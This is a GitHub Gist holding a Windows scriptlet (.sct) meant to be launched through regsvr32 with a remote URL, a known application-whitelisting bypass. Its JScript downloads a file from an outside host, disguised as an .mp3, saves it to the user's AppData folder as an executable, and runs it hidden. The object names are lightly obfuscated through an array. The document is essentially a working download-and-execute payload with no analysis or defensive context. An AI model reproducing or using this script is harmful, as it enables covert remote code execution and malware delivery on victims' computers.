Skip to content

Instantly share code, notes, and snippets.

@Elm0D
Last active February 25, 2021 21:06
Show Gist options
  • Save Elm0D/9d9096f8bc42e3650a552077f045fc83 to your computer and use it in GitHub Desktop.
Save Elm0D/9d9096f8bc42e3650a552077f045fc83 to your computer and use it in GitHub Desktop.
<?XML version="1.0"?>
<scriptlet>
<registration
description="FofX"
progid="FofX"
version="1.00"
classid="{00001111-0000-0000-0000-0000FEEDACDC}"
>
<!-- regsvr32.exe /s /n /u /i:http://server/scriptlet_Downloader.sct scrobj.dll -->
<script language="JScript">
<![CDATA[
var J = ["WScript.Shell","MSXML2.XMLHTTP","ADODB.Stream","Scripting.FileSystemObject","https://e.top4top.io/m_1569ar7j21.mp3","VB6TestMsgBox.exe"];
var SH = Cr(0);
Target= Ex("APPDATA") + "\\" + J[5];
var File = Cr(3);
if (File.FileExists(Target)){
File.DeleteFile(Target);
}
saveFile(J[4],Target);
SH.Run(Target, 0, false);
function Cr(N) {
return new ActiveXObject(J[N]);
}
function Ex(S) {
return SH.ExpandEnvironmentStrings("%" + S + "%");
}
function saveFile(sSourceUrl, sDestFile ) {
var objXMLHTTP = Cr(1);
objXMLHTTP.onreadystatechange=function() {
if (objXMLHTTP.readyState === 4) {
var objADOStream = Cr(2);
objADOStream.open();
objADOStream.type = 1;
objADOStream.write(objXMLHTTP.ResponseBody);
objADOStream.position = 0;
objADOStream.saveToFile(sDestFile, 2);
objADOStream.close();
}
};
objXMLHTTP.open("GET", sSourceUrl, false);
objXMLHTTP.send();
}
]]>
</script>
</registration>
</scriptlet>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment